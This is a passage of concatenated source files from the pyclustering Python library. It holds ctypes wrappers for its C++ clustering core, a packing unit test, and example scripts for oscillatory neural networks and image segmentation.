pointer_data = package_builder(data, c_double).create() ccore = ccore_library.get() ccore.som_train.restype = c_size_t return ccore.som_train(som_pointer, pointer_data, c_uint(epochs), autostop) def som_simulate(som_pointer, pattern): """! @brief Processes input pattern (no learining) and returns index of neuron-winner. @details Using index of neuron winner catched object can be obtained using property capture_objects. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. @param[in] pattern (list): input pattern. @return Returns index of neuron-winner. """ pointer_data = package_builder(pattern, c_double).create() ccore = ccore_library.get() ccore.som_simulate.restype = c_size_t return ccore.som_simulate(som_pointer, pointer_data) def som_get_winner_number(som_pointer): """! @brief Returns of number of winner at the last step of learning process. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_winner_number.restype = c_size_t return ccore.som_get_winner_number(som_pointer) def som_get_size(som_pointer): """! @brief Returns size of self-organized map (number of neurons). @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_size.restype = c_size_t return ccore.som_get_size(som_pointer) def som_get_capture_objects(som_pointer): """! @brief Returns list of indexes of captured objects by each neuron. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_capture_objects.restype = POINTER(pyclustering_package) package = ccore.som_get_capture_objects(som_pointer) result = package_extractor(package).extract() return result def som_get_weights(som_pointer): """! @brief Returns list of weights of each neuron. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_weights.restype = POINTER(pyclustering_package) package = ccore.som_get_weights(som_pointer) result = package_extractor(package).extract() return result def som_get_awards(som_pointer): """! @brief Returns list of amount of captured objects by each neuron. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_awards.restype = POINTER(pyclustering_package) package = ccore.som_get_awards(som_pointer) result = package_extractor(package).extract() return result def som_get_neighbors(som_pointer): """! @brief Returns list of indexes of neighbors of each neuron. @param[in] som_pointer (c_pointer): pointer to object of self-organized map. """ ccore = ccore_library.get() ccore.som_get_neighbors.restype = POINTER(pyclustering_package) package = ccore.som_get_neighbors(som_pointer) result = package_extractor(package).extract() return result ``` #### File: pyclustering/core/sync_wrapper.py ```python from pyclustering.core.wrapper import * from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor def sync_create_network(num_osc, weight, frequency, type_conn, initial_phases): ccore = ccore_library.get() ccore.sync_create_network.restype = POINTER(c_void_p) pointer_network = ccore.sync_create_network(c_uint(num_osc), c_double(weight), c_double(frequency), c_uint(type_conn), c_uint(initial_phases)) return pointer_network def sync_get_size(pointer_network): ccore = ccore_library.get() ccore.sync_get_size.restype = c_size_t return ccore.sync_get_size(pointer_network) def sync_destroy_network(pointer_network): ccore = ccore_library.get() ccore.sync_destroy_network(pointer_network) def sync_simulate_static(pointer_network, steps, time, solution, collect_dynamic): ccore = ccore_library.get() ccore.sync_simulate_static.restype = POINTER(c_void_p) return ccore.sync_simulate_static(pointer_network, c_uint(steps), c_double(time), c_uint(solution), c_bool(collect_dynamic)) def sync_simulate_dynamic(pointer_network, order, solution, collect_dynamic, step, int_step, threshold_changes): ccore = ccore_library.get() ccore.sync_simulate_dynamic.restype = POINTER(c_void_p) return ccore.sync_simulate_dynamic(pointer_network, c_double(order), c_uint(solution), c_bool(collect_dynamic), c_double(step), c_double(int_step), c_double(threshold_changes)) def sync_order(pointer_network): ccore = ccore_library.get() ccore.sync_order.restype = c_double return ccore.sync_order(pointer_network) def sync_local_order(pointer_network): ccore = ccore_library.get() ccore.sync_local_order.restype = c_double return ccore.sync_local_order(pointer_network) def sync_connectivity_matrix(pointer_network): ccore = ccore_library.get() ccore.sync_connectivity_matrix.restype = POINTER(pyclustering_package) package = ccore.sync_connectivity_matrix(pointer_network) connectivity_matrix = package_extractor(package).extract() ccore.free_pyclustering_package(package) return connectivity_matrix def sync_dynamic_get_size(pointer_dynamic): ccore = ccore_library.get() ccore.sync_dynamic_get_time.restype = c_size_t return ccore.sync_dynamic_get_size(pointer_dynamic) def sync_dynamic_destroy(pointer_dynamic): ccore = ccore_library.get() ccore.sync_dynamic_destroy(pointer_dynamic) def sync_dynamic_allocate_sync_ensembles(pointer_dynamic, tolerance, iteration): if iteration is None: iteration = sync_dynamic_get_size(pointer_dynamic) - 1 ccore = ccore_library.get() ccore.sync_dynamic_allocate_sync_ensembles.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_allocate_sync_ensembles(pointer_dynamic, c_double(tolerance), c_size_t(iteration)) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def sync_dynamic_allocate_correlation_matrix(pointer_dynamic, iteration): analyse_iteration = iteration if analyse_iteration is None: analyse_iteration = sync_dynamic_get_size(pointer_dynamic) - 1 ccore = ccore_library.get() ccore.sync_dynamic_allocate_correlation_matrix.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_allocate_correlation_matrix(pointer_dynamic, c_uint(analyse_iteration)) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def sync_dynamic_get_output(pointer_dynamic): ccore = ccore_library.get() ccore.sync_dynamic_get_output.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_get_output(pointer_dynamic) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def sync_dynamic_get_time(pointer_dynamic): ccore = ccore_library.get() ccore.sync_dynamic_get_time.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_get_time(pointer_dynamic) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def sync_dynamic_calculate_order(pointer_dynamic, start_iteration, stop_iteration): ccore = ccore_library.get() ccore.sync_dynamic_calculate_order.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_calculate_order(pointer_dynamic, start_iteration, stop_iteration) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result def sync_dynamic_calculate_local_order(pointer_dynamic, pointer_network, start_iteration, stop_iteration): ccore = ccore_library.get() ccore.sync_dynamic_calculate_local_order.restype = POINTER(pyclustering_package) package = ccore.sync_dynamic_calculate_local_order(pointer_dynamic, pointer_network, c_size_t(start_iteration), c_size_t(stop_iteration)) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result ``` #### File: core/tests/ut_package.py ```python import unittest import numpy from pyclustering.core.pyclustering_package import package_builder, package_extractor from ctypes import c_ulong, c_size_t, c_double, c_uint, c_float, c_char_p class Test(unittest.TestCase): def templatePackUnpack(self, dataset, c_type_data=None): package_pointer = package_builder(dataset, c_type_data).create() unpacked_package = package_extractor(package_pointer).extract() packing_data = dataset if isinstance(packing_data, numpy.ndarray): packing_data = dataset.tolist() if isinstance(packing_data, str): self.assertEqual(dataset, unpacked_package) else: self.assertTrue(self.compare_containers(packing_data, unpacked_package)) def compare_containers(self, container1, container2): def is_container(container): return isinstance(container, list) or isinstance(container, tuple) if len(container1) == 0 and len(container2) == 0: return True if len(container1) != len(container2): return False for index in range(len(container1)): if is_container(container1[index]) and is_container(container2[index]): return self.compare_containers(container1[index], container2[index]) elif is_container(container1[index]) == is_container(container2[index]): if container1[index] != container2[index]: return False else: return False return True def testListInteger(self): self.templatePackUnpack([1, 2, 3, 4, 5]) def testListIntegerSingle(self): self.templatePackUnpack([2]) def testListIntegerNegative(self): self.templatePackUnpack([-1, -2, -10, -20]) def testListIntegerNegativeAndPositive(self): self.templatePackUnpack([-1, 26, -10, -20, 13]) def testListFloat(self): self.templatePackUnpack([1.1, 1.2, 1.3, 1.4, 1.5, 1.6]) def testListFloatNegativeAndPositive(self): self.templatePackUnpack([1.1, -1.2, -1.3, -1.4, 1.5, -1.6]) def testListLong(self): self.templatePackUnpack([100000000, 2000000000]) def testListEmpty(self): self.templatePackUnpack([]) def testListOfListInteger(self): self.templatePackUnpack([ [1, 2, 3], [4, 5, 6], [7, 8, 9] ]) def testListOfListDouble(self): self.templatePackUnpack([ [1.1, 5.4], [1.3], [1.4, -9.4] ]) def testListOfListWithGaps(self): self.templatePackUnpack([ [], [1, 2, 3], [], [4], [], [5, 6, 7] ]) def testListSpecifyUnsignedLong(self): self.templatePackUnpack([1, 2, 3, 4, 5], c_ulong) def testListSpecifyUnsignedSizeT(self): self.templatePackUnpack([1, 2, 3, 4, 5], c_size_t) def testListSpecifyDouble(self): self.templatePackUnpack([1.1, 1.6, -7.8], c_double) def testListOfListSpecifySizeT(self): self.templatePackUnpack([ [1, 2, 3], [4, 5] ], c_size_t) def testListOfListSpecifyUnsignedIntWithGaps(self): self.templatePackUnpack([ [1, 2, 3], [], [4, 5], [], [] ], c_uint) def testListOfListEmpty(self): self.templatePackUnpack([ [], [], [] ]) def testListOfListOfListInteger(self): self.templatePackUnpack([ [ [1], [2] ], [ [3], [4] ], [ [5, 6], [7, 8] ] ]) def testTupleInterger(self): self.templatePackUnpack([ (1, 2, 3), (4, 5), (6, 7, 8, 9) ], c_uint) def testTupleFloat(self): self.templatePackUnpack([ (1.0, 2.0, 3.8), (4.6, 5.0), (6.8, 7.4, 8.5, 9.6) ], c_float) def testTupleEmpty(self): self.templatePackUnpack([(), (), ()]) def testNumpyMatrixOneColumn(self): self.templatePackUnpack(numpy.array([[1.0], [2.0], [3.0]]), c_double) def testNumpyMatrixTwoColumns(self): self.templatePackUnpack(numpy.array([[1.0, 1.0], [2.0, 2.0]]), c_double) def testNumpyMatrixThreeColumns(self): self.templatePackUnpack(numpy.array([[1.1, 2.2, 3.3], [2.2, 3.3, 4.4], [3.3, 4.4, 5.5]]), c_double) def testString(self): self.templatePackUnpack("Test message number one".encode('utf-8')) def testEmptyString(self): self.templatePackUnpack("".encode('utf-8')) ``` #### File: pyclustering/core/ttsas_wrapper.py ```python from ctypes import c_double, POINTER; from pyclustering.core.wrapper import ccore_library; from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor, package_builder; def ttsas(sample, threshold1, threshold2, metric_pointer): pointer_data = package_builder(sample, c_double).create(); ccore = ccore_library.get(); ccore.ttsas_algorithm.restype = POINTER(pyclustering_package); package = ccore.ttsas_algorithm(pointer_data, c_double(threshold1), c_double(threshold2), metric_pointer); result = package_extractor(package).extract(); ccore.free_pyclustering_package(package); return result[0], result[1]; ``` #### File: pyclustering/core/xmeans_wrapper.py ```python from ctypes import c_double, c_longlong, c_size_t, c_uint, POINTER from pyclustering.core.wrapper import ccore_library from pyclustering.core.pyclustering_package import pyclustering_package, package_extractor, package_builder def xmeans(sample, centers, kmax, tolerance, criterion, alpha, beta, repeat, random_state, metric_pointer): random_state = random_state or -1 pointer_data = package_builder(sample, c_double).create() pointer_centers = package_builder(centers, c_double).create() ccore = ccore_library.get() ccore.xmeans_algorithm.restype = POINTER(pyclustering_package) package = ccore.xmeans_algorithm(pointer_data, pointer_centers, c_size_t(kmax), c_double(tolerance), c_uint(criterion), c_double(alpha), c_double(beta), c_size_t(repeat), c_longlong(random_state), metric_pointer) result = package_extractor(package).extract() ccore.free_pyclustering_package(package) return result ``` #### File: gcolor/examples/hysteresis_examples.py ```python from pyclustering.gcolor.hysteresis import hysteresisgcolor; from pyclustering.utils.graph import read_graph, draw_graph; from pyclustering.utils import draw_dynamics; from pyclustering.samples.definitions import GRAPH_SIMPLE_SAMPLES; def template_graph_coloring(filename, alpha, eps, steps, time, title = None, tolerance = 0.1, threshold_steps = 10): if (title is None): title = filename; graph = read_graph(filename); network = hysteresisgcolor(graph.data, alpha, eps); output_dynamic = network.simulate(steps, time); draw_dynamics(output_dynamic.time, output_dynamic.output, x_title = "Time", y_title = "State"); clusters = output_dynamic.allocate_clusters(tolerance, threshold_steps); for index in range(0, len(clusters)): print("Color #", index, ": ", clusters[index]); coloring_map = output_dynamic.allocate_map_coloring(tolerance, threshold_steps); draw_graph(graph, coloring_map); def graph_simple1(): "Good result - optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_SIMPLE1, 1.2, 1.8, 2000, 20); def graph_one_line(): "Good result - optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_LINE, 1.2, 1.8, 2000, 20); def graph_one_crossroad(): "Good result - optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CROSSROAD, 1.2, 1.8, 2000, 20); def graph_two_crossroads(): "Good result - optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_TWO_CROSSROADS, 1.2, 1.8, 2000, 20); def graph_full_interconnected1(): "Bad result - two vertices colored by the same color" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FULL1, 1.2, 1.8, 2000, 20, tolerance = 0.05); def graph_full_interconnected2(): "Good result - optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FULL2, 1.2, 1.8, 2000, 20, tolerance = 0.05); def graph_one_circle1(): template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CIRCLE1, 1.1, 1.1, 2000, 20); def graph_one_circle2(): template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CIRCLE2, 1.1, 1.1, 2000, 20); def graph_one_circle3(): template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CIRCLE3, 1.1, 1.1, 2000, 20); def graph_five_pointed_frame_star(): "Good result - not optimal" template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FIVE_POINTED_FRAME_STAR, 1.1, 1.4, 3000, 30); graph_simple1(); graph_one_line(); graph_one_crossroad(); graph_two_crossroads(); graph_full_interconnected1(); graph_full_interconnected2(); graph_one_circle1(); graph_one_circle2(); graph_one_circle3(); graph_five_pointed_frame_star(); ``` #### File: gcolor/tests/ut_hysteresis.py ```python import unittest; from pyclustering.gcolor.hysteresis import hysteresisgcolor; from pyclustering.utils.graph import read_graph; from pyclustering.samples.definitions import GRAPH_SIMPLE_SAMPLES; class Test(unittest.TestCase): def templateTestColoring(self, filename, alpha, eps, steps, time): graph = read_graph(filename); network = hysteresisgcolor(graph.data, alpha, eps); output_analyser = network.process(steps, time); map_coloring = output_analyser.allocate_map_coloring(0.05, 20); # Check number of colors assigned_colors = set(map_coloring); # Check validity of color numbers for color_number in range(0, len(assigned_colors), 1): assert color_number in assigned_colors; # Check validity of colors for index_node in range(len(graph.data)): color_neighbors = [ map_coloring[index] for index in range(len(graph.data[index_node])) if graph.data[index_node][index] != 0 and index_node != index]; #print(index_node, map_coloring[index_node], color_neighbors, assigned_colors, map_coloring, "\n\n"); assert map_coloring[index_node] not in color_neighbors; def testColoringSimple1(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_SIMPLE1, 1.2, 1.8, 1500, 15); def testColoringCircle2(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CIRCLE2, 1.1, 1.1, 1500, 15); def testColoringFivePointedFrameStar(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_FIVE_POINTED_FRAME_STAR, 1, 1, 2500, 25); def testColoringOneLine(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_LINE, 1.2, 1.8, 1500, 15); def testColoringOneCrossroad(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CROSSROAD, 1.2, 1.8, 1500, 15); def testColoringTwoCrossroads(self): self.templateTestColoring(GRAPH_SIMPLE_SAMPLES.GRAPH_TWO_CROSSROADS, 1.2, 1.8, 1500, 15); ``` #### File: nnet/examples/hhn_examples.py ```python from pyclustering.nnet.dynamic_visualizer import dynamic_visualizer from pyclustering.nnet.hhn import hhn_network, hhn_parameters def template_dynamic_hhn(num_osc, steps, time, stimulus=None, params=None, separate=False, ccore_flag=False): net = hhn_network(num_osc, stimulus, params, ccore=ccore_flag) (t, dyn_peripheral, dyn_central) = net.simulate(steps, time) amount_canvases = 1 if (isinstance(separate, list)): amount_canvases = len(separate) + 2 elif (separate is True): amount_canvases = len(dyn_peripheral[0]) + 2 visualizer = dynamic_visualizer(amount_canvases, x_title="Time", y_title="V", y_labels=False) visualizer.append_dynamics(t, dyn_peripheral, 0, separate) visualizer.append_dynamics(t, dyn_central, amount_canvases - 2, True) visualizer.show() def one_oscillator_unstimulated(): template_dynamic_hhn(1, 750, 100, separate=True, ccore_flag=False) template_dynamic_hhn(1, 750, 100, separate=True, ccore_flag=True) def one_oscillator_stimulated(): template_dynamic_hhn(1, 750, 100, [25], separate=True, ccore_flag=False) template_dynamic_hhn(1, 750, 100, [25], separate=True, ccore_flag=True) def three_oscillators_stimulated(): template_dynamic_hhn(3, 750, 100, [25] * 3, separate=True, ccore_flag=False) template_dynamic_hhn(3, 750, 100, [25] * 3, separate=True, ccore_flag=True) def two_sync_ensembles(): template_dynamic_hhn(4, 400, 200, [25, 25, 50, 50], separate=True, ccore_flag=False) template_dynamic_hhn(4, 800, 200, [25, 25, 50, 50], separate=True, ccore_flag=True) def ten_oscillators_stimulated_desync(): params = hhn_parameters() params.w1 = 0 params.w2 = 0 params.w3 = 0 stumulus = [25, 25, 25, 25, 25, 11, 11, 11, 11, 11] template_dynamic_hhn(10, 750, 100, stumulus, params, separate=True, ccore_flag=False) template_dynamic_hhn(10, 750, 100, stumulus, params, separate=True, ccore_flag=True) def ten_oscillators_stimulated_sync(): params = hhn_parameters() params.w1 = 0.1 params.w2 = 0.0 params.w3 = 0 stumulus = [25, 25, 25, 25, 25, 27, 27, 27, 27, 27] template_dynamic_hhn(10, 750, 100, stumulus, params, separate=True, ccore_flag=False) template_dynamic_hhn(10, 750, 100, stumulus, params, separate=True, ccore_flag=True) def ten_oscillators_stimulated_partial_sync(): params = hhn_parameters() params.w1 = 0.1 params.w2 = 5.0 params.w3 = 0 stimulus = [25, 25, 25, 25, 25, 11, 11, 11, 11, 11] template_dynamic_hhn(10, 750, 200, stimulus, params, separate=True, ccore_flag=False) template_dynamic_hhn(10, 750, 200, stimulus, params, separate=True, ccore_flag=True) def six_oscillators_mix_2_stimulated(): params = hhn_parameters() params.deltah = 400 stimulus = [25, 25, 25, 47, 47, 47] template_dynamic_hhn(6, 1200, 600, stimulus, params, separate=True, ccore_flag=False) template_dynamic_hhn(6, 2400, 600, stimulus, params, separate=True, ccore_flag=True) def six_oscillators_mix_3_stimulated(): params = hhn_parameters() params.deltah = 400 stimulus = [0, 0, 25, 25, 47, 47] template_dynamic_hhn(6, 1200, 600, stimulus, params, separate=True, ccore_flag=False) template_dynamic_hhn(6, 2400, 600, stimulus, params, separate=True, ccore_flag=True) def three_sync_ensembles(): params = hhn_parameters() params.deltah = 400 stimulus = [25, 26, 25, 25, 26, 45, 46, 45, 44, 45, 65, 65, 65, 64, 66] separate = [[0, 1, 2, 3, 4], [5, 6, 7, 8, 9], [10, 11, 12, 13, 14]] num_osc = len(stimulus) template_dynamic_hhn(num_osc, 2400, 600, stimulus, params, separate=separate, ccore_flag=True) def four_ensembles_80_oscillators(): params = hhn_parameters() params.deltah = 650 params.w1 = 0.1 params.w2 = 9.0 params.w3 = 5.0 params.threshold = -10 expected_ensembles = [] stimulus = [] base_stimulus = 10 step_stimulus = 10 amount_ensebles = 4 region_size = 20 for i in range(amount_ensebles): expected_ensembles += [ [i for i in range(region_size * i, region_size * i + region_size)] ] stimulus += [ base_stimulus + step_stimulus * i ] * region_size template_dynamic_hhn(len(stimulus), 4000, 1000, stimulus, params, separate=expected_ensembles, ccore_flag=True) one_oscillator_unstimulated() one_oscillator_stimulated() three_oscillators_stimulated() two_sync_ensembles() ten_oscillators_stimulated_desync() ten_oscillators_stimulated_sync() ten_oscillators_stimulated_partial_sync() six_oscillators_mix_2_stimulated() six_oscillators_mix_3_stimulated() three_sync_ensembles() four_ensembles_80_oscillators() ``` #### File: nnet/examples/legion_examples.py ```python from pyclustering.utils import draw_dynamics; from pyclustering.nnet.legion import legion_network, legion_parameters; from pyclustering.nnet import *; def template_dynamic_legion(num_osc, steps, time, conn_type, stimulus, params = None, separate_repr = True, ccore_flag = True): net = legion_network(num_osc, params, conn_type, ccore = ccore_flag); print("Created"); dynamic = net.simulate(steps, time, stimulus, solution = solve_type.RK4); print("Simulated"); draw_dynamics(dynamic.time, dynamic.output, x_title = "Time", y_title = "x(t)", separate = separate_repr); draw_dynamics(dynamic.time, dynamic.inhibitor, x_title = "Time", y_title = "z(t)"); ensembles = dynamic.allocate_sync_ensembles(0.1); print(ensembles); def one_oscillator_unstimulated(): parameters = legion_parameters(); parameters.teta = 0; # because no neighbors at all template_dynamic_legion(1, 2000, 500, conn_type.NONE, [0], parameters); def one_oscillator_stimulated(): parameters = legion_parameters(); parameters.teta = 0; # because no neighbors at all template_dynamic_legion(1, 2000, 500, conn_type.NONE, [1], parameters); def three_oscillator_unstimulated_list(): parameters = legion_parameters(); parameters.teta = 0; # because no stmulated neighbors template_dynamic_legion(3, 2000, 200, conn_type.LIST_BIDIR, [0, 0, 0], parameters); def three_oscillator_stimulated_list(): template_dynamic_legion(3, 1500, 1500, conn_type = conn_type.LIST_BIDIR, stimulus = [1, 1, 1]); def three_oscillator_mix_stimulated_list(): parameters = legion_parameters(); parameters.Wt = 4.0; template_dynamic_legion(3, 1200, 1200, conn_type = conn_type.LIST_BIDIR, stimulus = [1, 0, 1], params = parameters); def ten_oscillator_stimulated_list(): template_dynamic_legion(10, 1000, 750, conn_type = conn_type.LIST_BIDIR, stimulus = [1] * 10); def ten_oscillator_mix_stimulated_list(): template_dynamic_legion(10, 1500, 1500, conn_type = conn_type.LIST_BIDIR, stimulus = [1, 1, 1, 0, 0, 0, 1, 1, 0, 0], separate_repr = [ [0, 1, 2], [3, 4, 5, 8, 9], [6, 7] ]); def thirteen_oscillator_three_stimulated_ensembles_list(): "Good example of three synchronous ensembels" "Not accurate due to false skipes are observed" parameters = legion_parameters(); parameters.Wt = 4.0; parameters.fi = 10.0; template_dynamic_legion(15, 1000, 1000, conn_type = conn_type.LIST_BIDIR, stimulus = [1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1], params = parameters, separate_repr = [ [0, 1, 2], [3, 4, 5, 9, 10], [6, 7, 8], [11, 12, 13, 14] ]); def thirteen_simplify_oscillator_three_stimulated_ensembles_list(): "Good example of three synchronous ensembels" "Not accurate due to false skipes are observed" parameters = legion_parameters(); parameters.Wt = 4.0; parameters.fi = 0.8; parameters.ENABLE_POTENTIONAL = False; template_dynamic_legion(15, 1000, 1000, conn_type = conn_type.LIST_BIDIR, stimulus = [1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1], params = parameters, separate_repr = [ [0, 1, 2], [3, 4, 5, 9, 10], [6, 7, 8], [11, 12, 13, 14] ]); def sixteen_oscillator_two_stimulated_ensembles_grid(): "Not accurate false due to spikes are observed" parameters = legion_parameters(); parameters.teta_x = -1.1; template_dynamic_legion(16, 2000, 1500, conn_type = conn_type.GRID_FOUR, params = parameters, stimulus = [1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1]); def simple_segmentation_example(): "Perfect results!" parameters = legion_parameters(); parameters.eps = 0.02; parameters.alpha = 0.005; parameters.betta = 0.1; parameters.gamma = 7.0; parameters.teta = 0.9; parameters.lamda = 0.1; parameters.teta_x = -0.5; parameters.teta_p = 7.0; parameters.Wz = 0.7; parameters.mu = 0.01; parameters.fi = 3.0; parameters.teta_xz = 0.1; parameters.teta_zx = 0.1; parameters.ENABLE_POTENTIONAL = False; template_dynamic_legion(81, 2500, 2500, conn_type = conn_type.GRID_FOUR, params = parameters, stimulus = [1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0], separate_repr = [ [0, 1, 2, 9, 10, 11, 18, 19, 20], [14, 15, 16, 17, 23, 24, 25, 26, 33, 34, 35, 42, 43, 44, 51, 52, 53], [45, 46, 47, 48, 54, 55, 56, 57, 63, 64, 65, 66, 72, 73, 74, 75] ]); one_oscillator_unstimulated(); one_oscillator_stimulated(); three_oscillator_unstimulated_list(); three_oscillator_stimulated_list(); three_oscillator_mix_stimulated_list(); ten_oscillator_stimulated_list(); ten_oscillator_mix_stimulated_list(); thirteen_oscillator_three_stimulated_ensembles_list(); thirteen_simplify_oscillator_three_stimulated_ensembles_list(); sixteen_oscillator_two_stimulated_ensembles_grid(); simple_segmentation_example(); ``` #### File: nnet/examples/pcnn_segmentation.py ```python from PIL import Image from pyclustering.utils import read_image, rgb2gray, draw_image_mask_segments from pyclustering.nnet.pcnn import pcnn_network, pcnn_parameters, pcnn_visualizer from pyclustering.nnet import * from pyclustering.samples.definitions import IMAGE_SIMPLE_SAMPLES, IMAGE_MAP_SAMPLES, IMAGE_REAL_SAMPLES def template_segmentation_image(image, parameters, simulation_time, brightness, scale_color=True, fastlinking=False, show_spikes=False, ccore_flag=True): image_source = Image.open(image) image_size = image_source.size width = image_size[0] height = image_size[1] stimulus = read_image(image) stimulus = rgb2gray(stimulus) if brightness is not None: for pixel_index in range(len(stimulus)): if stimulus[pixel_index] < brightness: stimulus[pixel_index] = 1 else: stimulus[pixel_index] = 0 else: maximum_stimulus = float(max(stimulus)) minimum_stimulus = float(min(stimulus)) delta = maximum_stimulus - minimum_stimulus for pixel_index in range(len(stimulus)): if scale_color is True: stimulus[pixel_index] = 1.0 - ((float(stimulus[pixel_index]) - minimum_stimulus) / delta) else: stimulus[pixel_index] = float(stimulus[pixel_index]) / 255 if parameters is None: parameters = pcnn_parameters() parameters.AF = 0.1 parameters.AL = 0.1 parameters.AT = 0.8 parameters.VF = 1.0 parameters.VL = 1.0 parameters.VT = 30.0 parameters.W = 1.0 parameters.M = 1.0 parameters.FAST_LINKING = fastlinking net = pcnn_network(len(stimulus), parameters, conn_type.GRID_EIGHT, height=height, width=width, ccore=ccore_flag) output_dynamic = net.simulate(simulation_time, stimulus) pcnn_visualizer.show_output_dynamic(output_dynamic) ensembles = output_dynamic.allocate_sync_ensembles() draw_image_mask_segments(image, ensembles) pcnn_visualizer.show_time_signal(output_dynamic) if show_spikes is True: spikes = output_dynamic.allocate_spike_ensembles() draw_image_mask_segments(image, spikes) pcnn_visualizer.animate_spike_ensembles(output_dynamic, image_size) def segmentation_image_simple1(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE01, None, 47, 235) def segmentation_image_simple2(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE02, None, 47, 235) def segmentation_image_simple6(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE06, None, 47, 128) def segmentation_image_black_thin_lines1(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_THIN_BLACK_LINES01, None, 47, 128) def segmentation_image_black_thin_lines2(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_THIN_BLACK_LINES02, None, 47, 128) def segmentation_image_black_thin_lines3(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_THIN_BLACK_LINES03, None, 47, 128) def segmentation_gray_image_simple1(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE01, None, 47, None, True, False, True) def segmentation_gray_image_simple5(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE05, None, 47, None, True, False, True) def segmentation_gray_image_beach(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BEACH, None, 94, None, True, False, True) def segmentation_gray_image_building(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BUILDING, None, 47, None, True, False, True) def segmentation_fast_linking_image_beach(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BEACH, None, 47, None, False, True, True) def segmentation_fast_linking_image_building(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BUILDING, None, 47, None, False, True, True) def segmentation_fast_linking_image_fruits(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_FRUITS_SMALL, None, 47, None, False, True, True) def segmentation_fast_linking_white_sea(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_WHITE_SEA_SMALL, None, 47, None, False, True, True) def segmentation_fast_linking_nil(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_NILE_SMALL, None, 47, None, False, True, True) def segmentation_fast_linking_field_flowers(): parameters = pcnn_parameters() parameters.AF = 0.1 parameters.AL = 0.1 parameters.AT = 0.8 parameters.VF = 1.0 parameters.VL = 1.0 parameters.VT = 80.0 parameters.W = 1.0 parameters.M = 1.0 parameters.FAST_LINKING = True template_segmentation_image(IMAGE_REAL_SAMPLES.IMAGE_FIELD_FLOWER, parameters, 80, None, False, True, True) # Examples of simple image segmentation segmentation_image_simple1() segmentation_image_simple2() segmentation_image_simple6() # Line allocation segmentation_image_black_thin_lines1() segmentation_image_black_thin_lines2() segmentation_image_black_thin_lines3() # More complex image segmentation examples segmentation_gray_image_simple1() segmentation_gray_image_simple5() segmentation_gray_image_beach() segmentation_gray_image_building() # Fast linking usage examples segmentation_fast_linking_image_beach() segmentation_fast_linking_image_building() segmentation_fast_linking_image_fruits() segmentation_fast_linking_white_sea() segmentation_fast_linking_nil() segmentation_fast_linking_field_flowers() ``` #### File: nnet/examples/som_recognition.py ```python from pyclustering.nnet.som import som, type_conn; from pyclustering.samples.definitions import IMAGE_DIGIT_SAMPLES; from 